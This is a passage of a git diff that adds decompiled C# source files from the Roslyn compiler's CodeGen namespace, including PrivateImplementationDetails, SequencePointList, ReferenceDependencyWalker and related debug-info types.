PermissionSetAttributeWithFileReference(ICustomAttribute sourceAttribute, string resolvedPermissionSetFilePath) + { + _sourceAttribute = sourceAttribute; + _resolvedPermissionSetFilePath = resolvedPermissionSetFilePath; + } + + public ImmutableArray GetArguments(EmitContext context) + { + return _sourceAttribute.GetArguments(context); + } + + public IMethodReference Constructor(EmitContext context, bool reportDiagnostics) + { + return _sourceAttribute.Constructor(context, reportDiagnostics); + } + + public ImmutableArray GetNamedArguments(EmitContext context) + { + ITypeReference platformType = context.Module.GetPlatformType(PlatformType.SystemString, context); + XmlReferenceResolver xmlReferenceResolver = context.Module.CommonCompilation.Options.XmlReferenceResolver; + string value; + try + { + using Stream stream = xmlReferenceResolver.OpenReadChecked(_resolvedPermissionSetFilePath); + value = ConvertToHex(stream); + } + catch (IOException ex) + { + throw new PermissionSetFileReadException(ex.Message, _resolvedPermissionSetFilePath); + } + return ImmutableArray.Create((IMetadataNamedArgument)new HexPropertyMetadataNamedArgument(platformType, new MetadataConstant(platformType, value))); + } + + internal static string ConvertToHex(Stream stream) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + int num; + while ((num = stream.ReadByte()) >= 0) + { + builder.Append(ConvertHexToChar((num >> 4) & 0xF)); + builder.Append(ConvertHexToChar(num & 0xF)); + } + return instance.ToStringAndFree(); + } + + private static char ConvertHexToChar(int b) + { + return (char)((b < 10) ? (48 + b) : (97 + b - 10)); + } + + public ITypeReference GetType(EmitContext context) + { + return _sourceAttribute.GetType(context); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/PermissionSetFileReadException.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/PermissionSetFileReadException.cs new file mode 100644 index 0000000..96f2476 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/PermissionSetFileReadException.cs @@ -0,0 +1,18 @@ +using System; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal class PermissionSetFileReadException : Exception +{ + private readonly string _file; + + public string FileName => _file; + + public string PropertyName => "File"; + + public PermissionSetFileReadException(string message, string file) + : base(message) + { + _file = file; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/PrivateImplementationDetails.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/PrivateImplementationDetails.cs new file mode 100644 index 0000000..d137f7c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/PrivateImplementationDetails.cs @@ -0,0 +1,378 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class PrivateImplementationDetails : DefaultTypeDef, INamespaceTypeDefinition, INamedTypeDefinition, ITypeDefinition, IDefinition, IReference, ITypeReference, INamedTypeReference, INamedEntity, INamespaceTypeReference +{ + private sealed class FieldComparer : IComparer + { + public static readonly FieldComparer Instance = new FieldComparer(); + + private FieldComparer() + { + } + + public int Compare(SynthesizedStaticField? x, SynthesizedStaticField? y) + { + return x.Name.CompareTo(y.Name); + } + } + + private sealed class DataAndUShortEqualityComparer : EqualityComparer<(ImmutableArray Data, ushort Value)> + { + public static readonly DataAndUShortEqualityComparer Instance = new DataAndUShortEqualityComparer(); + + private DataAndUShortEqualityComparer() + { + } + + public override bool Equals((ImmutableArray Data, ushort Value) x, (ImmutableArray Data, ushort Value) y) + { + if (x.Value == y.Value) + { + return ByteSequenceComparer.Equals(x.Data, y.Data); + } + return false; + } + + public override int GetHashCode((ImmutableArray Data, ushort Value) obj) + { + return ByteSequenceComparer.GetHashCode(obj.Data); + } + } + + private const string TypeNamePrefix = ""; + + internal const string SynthesizedStringHashFunctionName = "ComputeStringHash"; + + internal const string SynthesizedReadOnlySpanHashFunctionName = "ComputeReadOnlySpanHash"; + + internal const string SynthesizedSpanHashFunctionName = "ComputeSpanHash"; + + internal const string SynthesizedThrowSwitchExpressionExceptionFunctionName = "ThrowSwitchExpressionException"; + + internal const string SynthesizedThrowSwitchExpressionExceptionParameterlessFunctionName = "ThrowSwitchExpressionExceptionParameterless"; + + internal const string SynthesizedThrowInvalidOperationExceptionFunctionName = "ThrowInvalidOperationException"; + + internal const string SynthesizedInlineArrayAsSpanName = "InlineArrayAsSpan"; + + internal const string SynthesizedInlineArrayAsReadOnlySpanName = "InlineArrayAsReadOnlySpan"; + + internal const string SynthesizedInlineArrayElementRefName = "InlineArrayElementRef"; + + internal const string SynthesizedInlineArrayElementRefReadOnlyName = "InlineArrayElementRefReadOnly"; + + internal const string SynthesizedInlineArrayFirstElementRefName = "InlineArrayFirstElementRef"; + + internal const string SynthesizedInlineArrayFirstElementRefReadOnlyName = "InlineArrayFirstElementRefReadOnly"; + + private readonly CommonPEModuleBuilder _moduleBuilder; + + private readonly ITypeReference _systemObject; + + private readonly ITypeReference _systemValueType; + + private readonly ITypeReference _systemInt8Type; + + private readonly ITypeReference _systemInt16Type; + + private readonly ITypeReference _systemInt32Type; + + private readonly ITypeReference _systemInt64Type; + + private readonly ICustomAttribute _compilerGeneratedAttribute; + + private readonly string _name; + + private int _frozen; + + private ImmutableArray _orderedSynthesizedFields; + + private readonly ConcurrentDictionary<(ImmutableArray Data, ushort Alignment), MappedField> _mappedFields = new ConcurrentDictionary<(ImmutableArray, ushort), MappedField>(DataAndUShortEqualityComparer.Instance); + + private readonly ConcurrentDictionary<(ImmutableArray Data, ushort ElementType), CachedArrayField> _cachedArrayFields = new ConcurrentDictionary<(ImmutableArray, ushort), CachedArrayField>(DataAndUShortEqualityComparer.Instance); + + private ModuleVersionIdField? _mvidField; + + private readonly ConcurrentDictionary _instrumentationPayloadRootFields = new ConcurrentDictionary(); + + private ImmutableArray _orderedSynthesizedMethods; + + private readonly ConcurrentDictionary _synthesizedMethods = new ConcurrentDictionary(); + + private ImmutableArray _orderedTopLevelTypes; + + private readonly ConcurrentDictionary _synthesizedTopLevelTypes = new ConcurrentDictionary(); + + private ImmutableArray _orderedProxyTypes; + + private readonly ConcurrentDictionary<(uint Size, ushort Alignment), ITypeReference> _proxyTypes = new ConcurrentDictionary<(uint, ushort), ITypeReference>(); + + internal bool IsFrozen => _frozen != 0; + + public override INamespaceTypeReference AsNamespaceTypeReference => this; + + public string Name => _name; + + public bool IsPublic => false; + + public string NamespaceName => string.Empty; + + internal PrivateImplementationDetails(CommonPEModuleBuilder moduleBuilder, string moduleName, int submissionSlotIndex, ITypeReference systemObject, ITypeReference systemValueType, ITypeReference systemInt8Type, ITypeReference systemInt16Type, ITypeReference systemInt32Type, ITypeReference systemInt64Type, ICustomAttribute compilerGeneratedAttribute) + { + CommonPEModuleBuilder moduleBuilder2 = moduleBuilder; + string moduleName2 = moduleName; + int submissionSlotIndex2 = submissionSlotIndex; + base._002Ector(); + _moduleBuilder = moduleBuilder2; + _systemObject = systemObject; + _systemValueType = systemValueType; + _systemInt8Type = systemInt8Type; + _systemInt16Type = systemInt16Type; + _systemInt32Type = systemInt32Type; + _systemInt64Type = systemInt64Type; + _compilerGeneratedAttribute = compilerGeneratedAttribute; + _name = getClassName(); + string getClassName() + { + string text = ((moduleBuilder2.OutputKind == OutputKind.NetModule) ? ("<" + MetadataHelpers.MangleForTypeNameIfNeeded(moduleName2) + ">") : ""); + if (submissionSlotIndex2 >= 0) + { + text += submissionSlotIndex2; + } + if (moduleBuilder2.CurrentGenerationOrdinal > 0) + { + text = text + "#" + moduleBuilder2.CurrentGenerationOrdinal; + } + return text; + } + } + + internal void Freeze() + { + if (Interlocked.Exchange(ref _frozen, 1) != 0) + { + throw new InvalidOperationException(); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(_mappedFields.Count + _cachedArrayFields.Count + ((_mvidField != null) ? 1 : 0)); + instance.AddRange(_mappedFields.Values); + instance.AddRange(_cachedArrayFields.Values); + if (_mvidField != null) + { + instance.Add(_mvidField); + } + instance.AddRange(_instrumentationPayloadRootFields.Values); + instance.Sort(FieldComparer.Instance); + _orderedSynthesizedFields = instance.ToImmutableAndFree(); + _orderedSynthesizedMethods = (from kvp in _synthesizedMethods + orderby kvp.Key + select kvp.Value).AsImmutable(); + _orderedTopLevelTypes = (from kvp in _synthesizedTopLevelTypes + orderby kvp.Key + select kvp.Value).AsImmutable(); + _orderedProxyTypes = (from kvp in _proxyTypes + orderby kvp.Key.Size, kvp.Key.Alignment + select kvp.Value).AsImmutable(); + } + + internal IFieldReference CreateArrayCachingField(ImmutableArray data, IArrayTypeReference arrayType, EmitContext emitContext) + { + PrimitiveTypeCode typeCode = arrayType.GetElementType(emitContext).TypeCode; + return _cachedArrayFields.GetOrAdd((data, (ushort)typeCode), ((ImmutableArray Data, ushort ElementType) key) => new CachedArrayField($"{HashToHex(key.Data)}_A{key.ElementType}", this, arrayType)); + } + + internal IFieldReference CreateDataField(ImmutableArray data, ushort alignment) + { + ITypeReference type = _proxyTypes.GetOrAdd(((uint)data.Length, alignment), delegate((uint Size, ushort Alignment) key) + { + if (key.Alignment == 1) + { + switch (key.Size) + { + case 1u: + if (_systemInt8Type != null) + { + return _systemInt8Type; + } + break; + case 2u: + if (_systemInt16Type != null) + { + return _systemInt16Type; + } + break; + case 4u: + if (_systemInt32Type != null) + { + return _systemInt32Type; + } + break; + case 8u: + if (_systemInt64Type != null) + { + return _systemInt64Type; + } + break; + } + } + return new ExplicitSizeStruct(key.Size, key.Alignment, this, _systemValueType); + }); + return _mappedFields.GetOrAdd((data, alignment), delegate((ImmutableArray Data, ushort Alignment) key) + { + string text = HashToHex(key.Data); + return new MappedField(alignment switch + { + 2 => text + "2", + 4 => text + "4", + 8 => text + "8", + _ => text, + }, this, type, key.Data); + }); + } + + internal IFieldReference GetModuleVersionId(ITypeReference mvidType) + { + if (_mvidField == null) + { + Interlocked.CompareExchange(ref _mvidField, new ModuleVersionIdField(this, mvidType), null); + } + return _mvidField; + } + + internal IFieldReference GetOrAddInstrumentationPayloadRoot(int analysisKind, ITypeReference payloadRootType) + { + if (!_instrumentationPayloadRootFields.TryGetValue(analysisKind, out InstrumentationPayloadRootField value)) + { + return _instrumentationPayloadRootFields.GetOrAdd(analysisKind, (int kind) => new InstrumentationPayloadRootField(this, kind, payloadRootType)); + } + return value; + } + + internal IOrderedEnumerable> GetInstrumentationPayloadRoots() + { + return _instrumentationPayloadRootFields.OrderBy, int>((KeyValuePair analysis) => analysis.Key); + } + + internal bool TryAddSynthesizedMethod(IMethodDefinition method) + { + return _synthesizedMethods.TryAdd(method.Name, method); + } + + public override IEnumerable GetFields(EmitContext context) + { + return _orderedSynthesizedFields; + } + + public override IEnumerable GetMethods(EmitContext context) + { + return _orderedSynthesizedMethods; + } + + public IEnumerable GetTopLevelTypeMethods(EmitContext context) + { + ImmutableArray.Enumerator enumerator = _orderedTopLevelTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + INamespaceTypeDefinition current = enumerator.Current; + foreach (IMethodDefinition method in current.GetMethods(context)) + { + yield return method; + } + } + } + + internal IMethodDefinition? GetMethod(string name) + { + _synthesizedMethods.TryGetValue(name, out IMethodDefinition value); + return value; + } + + internal bool TryAddSynthesizedType(INamespaceTypeDefinition type) + { + return _synthesizedTopLevelTypes.TryAdd(type.Name, type); + } + + internal INamespaceTypeDefinition? GetSynthesizedType(string name) + { + _synthesizedTopLevelTypes.TryGetValue(name, out INamespaceTypeDefinition value); + return value; + } + + internal IEnumerable GetAdditionalTopLevelTypes() + { + return _orderedTopLevelTypes; + } + + public override IEnumerable GetNestedTypes(EmitContext context) + { + return _orderedProxyTypes.OfType(); + } + + public override string ToString() + { + return Name; + } + + public override ITypeReference GetBaseClass(EmitContext context) + { + return _systemObject; + } + + public override IEnumerable GetAttributes(EmitContext context) + { + if (_compilerGeneratedAttribute != null) + { + return SpecializedCollections.SingletonEnumerable(_compilerGeneratedAttribute); + } + return SpecializedCollections.EmptyEnumerable(); + } + + public override void Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + public override INamespaceTypeDefinition AsNamespaceTypeDefinition(EmitContext context) + { + return this; + } + + public IUnitReference GetUnit(EmitContext context) + { + return _moduleBuilder; + } + + private static string HashToHex(ImmutableArray data) + { + ImmutableArray source = CryptographicHashProvider.ComputeSourceHash(data); + char[] array = new char[source.Length * 2]; + toHex(source, array); + return new string(array); + static char hexchar(int x) + { + return (char)((x <= 9) ? (x + 48) : (x + 55)); + } + static void toHex(ImmutableArray immutableArray, Span destination) + { + int num = 0; + ReadOnlySpan readOnlySpan = immutableArray.AsSpan(); + for (int i = 0; i < readOnlySpan.Length; i++) + { + byte b = readOnlySpan[i]; + destination[num++] = hexchar(b >> 4); + destination[num++] = hexchar(b & 0xF); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/RawSequencePoint.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/RawSequencePoint.cs new file mode 100644 index 0000000..16539bb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/RawSequencePoint.cs @@ -0,0 +1,28 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CodeGen; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +internal readonly struct RawSequencePoint +{ + internal readonly SyntaxTree SyntaxTree; + + internal readonly int ILMarker; + + internal readonly TextSpan Span; + + internal static readonly TextSpan HiddenSequencePointSpan = new TextSpan(int.MaxValue, 0); + + internal RawSequencePoint(SyntaxTree syntaxTree, int ilMarker, TextSpan span) + { + SyntaxTree = syntaxTree; + ILMarker = ilMarker; + Span = span; + } + + private string GetDebuggerDisplay() + { + return string.Format("#{0}: {1}", ILMarker, (Span == HiddenSequencePointSpan) ? "hidden" : Span.ToString()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ReferenceDependencyWalker.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ReferenceDependencyWalker.cs new file mode 100644 index 0000000..b399075 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ReferenceDependencyWalker.cs @@ -0,0 +1,131 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal static class ReferenceDependencyWalker +{ + public static void VisitReference(IReference reference, EmitContext context) + { + if (reference is ITypeReference typeReference) + { + VisitTypeReference(typeReference, context); + } + else if (reference is IMethodReference methodReference) + { + VisitMethodReference(methodReference, context); + } + else if (reference is IFieldReference fieldReference) + { + VisitFieldReference(fieldReference, context); + } + } + + private static void VisitTypeReference(ITypeReference typeReference, EmitContext context) + { + if (typeReference is IArrayTypeReference arrayTypeReference) + { + VisitTypeReference(arrayTypeReference.GetElementType(context), context); + return; + } + if (typeReference is IPointerTypeReference pointerTypeReference) + { + VisitTypeReference(pointerTypeReference.GetTargetType(context), context); + return; + } + if (typeReference is IModifiedTypeReference modifiedTypeReference) + { + VisitCustomModifiers(modifiedTypeReference.CustomModifiers, in context); + VisitTypeReference(modifiedTypeReference.UnmodifiedType, context); + return; + } + INestedTypeReference asNestedTypeReference = typeReference.AsNestedTypeReference; + if (asNestedTypeReference != null) + { + VisitTypeReference(asNestedTypeReference.GetContainingType(context), context); + } + IGenericTypeInstanceReference asGenericTypeInstanceReference = typeReference.AsGenericTypeInstanceReference; + if (asGenericTypeInstanceReference != null) + { + ImmutableArray.Enumerator enumerator = asGenericTypeInstanceReference.GetGenericArguments(context).GetEnumerator(); + while (enumerator.MoveNext()) + { + VisitTypeReference(enumerator.Current, context); + } + } + if (typeReference is IFunctionPointerTypeReference functionPointerTypeReference) + { + VisitSignature(functionPointerTypeReference.Signature, context); + } + } + + private static void VisitMethodReference(IMethodReference methodReference, EmitContext context) + { + VisitTypeReference(methodReference.GetContainingType(context), context); + IGenericMethodInstanceReference asGenericMethodInstanceReference = methodReference.AsGenericMethodInstanceReference; + if (asGenericMethodInstanceReference != null) + { + foreach (ITypeReference genericArgument in asGenericMethodInstanceReference.GetGenericArguments(context)) + { + VisitTypeReference(genericArgument, context); + } + methodReference = asGenericMethodInstanceReference.GetGenericMethod(context); + } + ISpecializedMethodReference asSpecializedMethodReference = methodReference.AsSpecializedMethodReference; + if (asSpecializedMethodReference != null) + { + methodReference = asSpecializedMethodReference.UnspecializedVersion; + } + VisitSignature(methodReference, context); + if (methodReference.AcceptsExtraArguments) + { + VisitParameters(methodReference.ExtraParameters, context); + } + } + + internal static void VisitSignature(ISignature signature, EmitContext context) + { + VisitParameters(signature.GetParameters(context), context); + VisitTypeReference(signature.GetType(context), context); + VisitCustomModifiers(signature.RefCustomModifiers, in context); + ImmutableArray.Enumerator enumerator = signature.ReturnValueCustomModifiers.GetEnumerator(); + while (enumerator.MoveNext()) + { + VisitTypeReference(enumerator.Current.GetModifier(context), context); + } + } + + private static void VisitParameters(ImmutableArray parameters, EmitContext context) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterTypeInformation current = enumerator.Current; + VisitTypeReference(current.GetType(context), context); + VisitCustomModifiers(current.RefCustomModifiers, in context); + VisitCustomModifiers(current.CustomModifiers, in context); + } + } + + private static void VisitFieldReference(IFieldReference fieldReference, EmitContext context) + { + VisitTypeReference(fieldReference.GetContainingType(context), context); + ISpecializedFieldReference asSpecializedFieldReference = fieldReference.AsSpecializedFieldReference; + if (asSpecializedFieldReference != null) + { + fieldReference = asSpecializedFieldReference.UnspecializedVersion; + } + VisitTypeReference(fieldReference.GetType(context), context); + VisitCustomModifiers(fieldReference.RefCustomModifiers, in context); + } + + private static void VisitCustomModifiers(ImmutableArray customModifiers, in EmitContext context) + { + ImmutableArray.Enumerator enumerator = customModifiers.GetEnumerator(); + while (enumerator.MoveNext()) + { + VisitTypeReference(enumerator.Current.GetModifier(context), context); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ScopeType.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ScopeType.cs new file mode 100644 index 0000000..2184cb1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/ScopeType.cs @@ -0,0 +1,13 @@ +namespace Microsoft.CodeAnalysis.CodeGen; + +internal enum ScopeType +{ + Variable, + TryCatchFinally, + Try, + Catch, + Filter, + Finally, + Fault, + StateMachineVariable +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SequencePointList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SequencePointList.cs new file mode 100644 index 0000000..b1bb956 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SequencePointList.cs @@ -0,0 +1,175 @@ +using System; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal class SequencePointList +{ + private readonly struct OffsetAndSpan(int offset, TextSpan span) + { + public readonly int Offset = offset; + + public readonly TextSpan Span = span; + } + + private readonly SyntaxTree _tree; + + private readonly OffsetAndSpan[] _points; + + private SequencePointList _next; + + private static readonly SequencePointList s_empty = new SequencePointList(); + + public bool IsEmpty + { + get + { + if (_next == null) + { + return _points.Length == 0; + } + return false; + } + } + + private SequencePointList() + { + _points = Array.Empty(); + } + + private SequencePointList(SyntaxTree tree, OffsetAndSpan[] points) + { + _tree = tree; + _points = points; + } + + public static SequencePointList Create(ArrayBuilder seqPointBuilder, ILBuilder builder) + { + if (seqPointBuilder.Count == 0) + { + return s_empty; + } + SequencePointList result = null; + SequencePointList sequencePointList = null; + int count = seqPointBuilder.Count; + int num = 0; + for (int i = 1; i <= count; i++) + { + if (i == count || seqPointBuilder[i].SyntaxTree != seqPointBuilder[i - 1].SyntaxTree) + { + SequencePointList sequencePointList2 = new SequencePointList(seqPointBuilder[i - 1].SyntaxTree, GetSubArray(seqPointBuilder, num, i - num, builder)); + num = i; + if (sequencePointList == null) + { + result = (sequencePointList = sequencePointList2); + continue; + } + sequencePointList._next = sequencePointList2; + sequencePointList = sequencePointList2; + } + } + return result; + } + + private static OffsetAndSpan[] GetSubArray(ArrayBuilder seqPointBuilder, int start, int length, ILBuilder builder) + { + OffsetAndSpan[] array = new OffsetAndSpan[length]; + for (int i = 0; i < array.Length; i++) + { + RawSequencePoint rawSequencePoint = seqPointBuilder[i + start]; + int iLOffsetFromMarker = builder.GetILOffsetFromMarker(rawSequencePoint.ILMarker); + array[i] = new OffsetAndSpan(iLOffsetFromMarker, rawSequencePoint.Span); + } + return array; + } + + public void GetSequencePoints(DebugDocumentProvider documentProvider, ArrayBuilder builder) + { + bool flag = false; + string text = null; + DebugSourceDocument debugSourceDocument = null; + FileLinePositionSpan? fileLinePositionSpan = FindFirstRealSequencePoint(); + if (!fileLinePositionSpan.HasValue) + { + return; + } + text = fileLinePositionSpan.Value.Path; + flag = fileLinePositionSpan.Value.HasMappedPath; + debugSourceDocument = documentProvider(text, flag ? _tree.FilePath : null); + for (SequencePointList sequencePointList = this; sequencePointList != null; sequencePointList = sequencePointList._next) + { + SyntaxTree tree = sequencePointList._tree; + OffsetAndSpan[] points = sequencePointList._points; + for (int i = 0; i < points.Length; i++) + { + OffsetAndSpan offsetAndSpan = points[i]; + TextSpan span = offsetAndSpan.Span; + bool isHiddenPosition = span == RawSequencePoint.HiddenSequencePointSpan; + FileLinePositionSpan fileLinePositionSpan2 = default(FileLinePositionSpan); + if (!isHiddenPosition) + { + fileLinePositionSpan2 = tree.GetMappedLineSpanAndVisibility(span, out isHiddenPosition); + } + if (isHiddenPosition) + { + if (text == null) + { + text = tree.FilePath; + debugSourceDocument = documentProvider(text, null); + } + if (debugSourceDocument != null) + { + builder.Add(new SequencePoint(debugSourceDocument, offsetAndSpan.Offset, 16707566, 0, 16707566, 0)); + } + continue; + } + if (text != fileLinePositionSpan2.Path || flag != fileLinePositionSpan2.HasMappedPath) + { + text = fileLinePositionSpan2.Path; + flag = fileLinePositionSpan2.HasMappedPath; + debugSourceDocument = documentProvider(text, flag ? tree.FilePath : null); + } + if (debugSourceDocument != null) + { + int num = ((fileLinePositionSpan2.StartLinePosition.Line != -1) ? (fileLinePositionSpan2.StartLinePosition.Line + 1) : 0); + int num2 = ((fileLinePositionSpan2.EndLinePosition.Line != -1) ? (fileLinePositionSpan2.EndLinePosition.Line + 1) : 0); + int num3 = fileLinePositionSpan2.StartLinePosition.Character + 1; + int num4 = fileLinePositionSpan2.EndLinePosition.Character + 1; + if (num3 > 65534) + { + num3 = ((num == num2) ? 65533 : 65534); + } + if (num4 > 65534) + { + num4 = 65534; + } + builder.Add(new SequencePoint(debugSourceDocument, offsetAndSpan.Offset, num, (ushort)num3, num2, (ushort)num4)); + } + } + } + } + + private FileLinePositionSpan? FindFirstRealSequencePoint() + { + for (SequencePointList sequencePointList = this; sequencePointList != null; sequencePointList = sequencePointList._next) + { + OffsetAndSpan[] points = sequencePointList._points; + for (int i = 0; i < points.Length; i++) + { + TextSpan span = points[i].Span; + bool isHiddenPosition = span == RawSequencePoint.HiddenSequencePointSpan; + if (!isHiddenPosition) + { + FileLinePositionSpan mappedLineSpanAndVisibility = sequencePointList._tree.GetMappedLineSpanAndVisibility(span, out isHiddenPosition); + if (!isHiddenPosition) + { + return mappedLineSpanAndVisibility; + } + } + } + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SignatureOnlyLocalDefinition.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SignatureOnlyLocalDefinition.cs new file mode 100644 index 0000000..d16f2b3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SignatureOnlyLocalDefinition.cs @@ -0,0 +1,83 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal sealed class SignatureOnlyLocalDefinition : ILocalDefinition, INamedEntity +{ + private readonly byte[] _signature; + + private readonly int _slot; + + public MetadataConstant CompileTimeValue + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/SignatureOnlyLocalDefinition.cs", 31); + } + } + + public ImmutableArray CustomModifiers + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/SignatureOnlyLocalDefinition.cs", 36); + } + } + + public ImmutableArray DynamicTransformFlags => ImmutableArray.Empty; + + public ImmutableArray TupleElementNames => ImmutableArray.Empty; + + public LocalVariableAttributes PdbAttributes => LocalVariableAttributes.DebuggerHidden; + + public bool IsPinned + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/SignatureOnlyLocalDefinition.cs", 57); + } + } + + public bool IsReference + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/SignatureOnlyLocalDefinition.cs", 62); + } + } + + public LocalSlotConstraints Constraints + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/SignatureOnlyLocalDefinition.cs", 67); + } + } + + public Location Location => Microsoft.CodeAnalysis.Location.None; + + public string? Name => null; + + public int SlotIndex => _slot; + + public ITypeReference Type + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/SignatureOnlyLocalDefinition.cs", 78); + } + } + + public byte[] Signature => _signature; + + public LocalSlotDebugInfo SlotInfo => new LocalSlotDebugInfo(SynthesizedLocalKind.EmitterTemp, LocalDebugId.None); + + internal SignatureOnlyLocalDefinition(byte[] signature, int slot) + { + _signature = signature; + _slot = slot; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SourceSpan.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SourceSpan.cs new file mode 100644 index 0000000..2a2623e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/SourceSpan.cs @@ -0,0 +1,34 @@ +using System.Diagnostics; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CodeGen; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +internal readonly struct SourceSpan(DebugSourceDocument document, int startLine, int startColumn, int endLine, int endColumn) +{ + public readonly int StartLine = startLine; + + public readonly int StartColumn = startColumn; + + public readonly int EndLine = endLine; + + public readonly int EndColumn = endColumn; + + public readonly DebugSourceDocument Document = document; + + public override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/SourceSpan.cs", 39); + } + + public override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/SourceSpan.cs", 44); + } + + private string GetDebuggerDisplay() + { + return string.Format("({0}, {1}) - ({2}, {3})", new object[4] { StartLine, StartColumn, EndLine, EndColumn }); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/StateMachineStateDebugInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/StateMachineStateDebugInfo.cs new file mode 100644 index 0000000..c9da4a6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/StateMachineStateDebugInfo.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.CodeGen; + +internal readonly struct StateMachineStateDebugInfo(int syntaxOffset, AwaitDebugId awaitId, StateMachineState stateNumber) +{ + public readonly int SyntaxOffset = syntaxOffset; + + public readonly AwaitDebugId AwaitId = awaitId; + + public readonly StateMachineState StateNumber = stateNumber; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/StateMachineStatesDebugInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/StateMachineStatesDebugInfo.cs new file mode 100644 index 0000000..3f1d786 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.CodeGen/StateMachineStatesDebugInfo.cs @@ -0,0 +1,43 @@ +using System; +using System.Collections.Immutable; +using System.Linq; + +namespace Microsoft.CodeAnalysis.CodeGen; + +internal readonly struct StateMachineStatesDebugInfo +{ + public readonly ImmutableArray States; + + public readonly StateMachineState? FirstUnusedIncreasingStateMachineState; + + public readonly StateMachineState? FirstUnusedDecreasingStateMachineState; + + private StateMachineStatesDebugInfo(ImmutableArray states, StateMachineState? firstUnusedIncreasingStateMachineState, StateMachineState? firstUnusedDecreasingStateMachineState) + { + States = states; + FirstUnusedIncreasingStateMachineState = firstUnusedIncreasingStateMachineState; + FirstUnusedDecreasingStateMachineState = firstUnusedDecreasingStateMachineState; + } + + public static StateMachineStatesDebugInfo Create(VariableSlotAllocator? 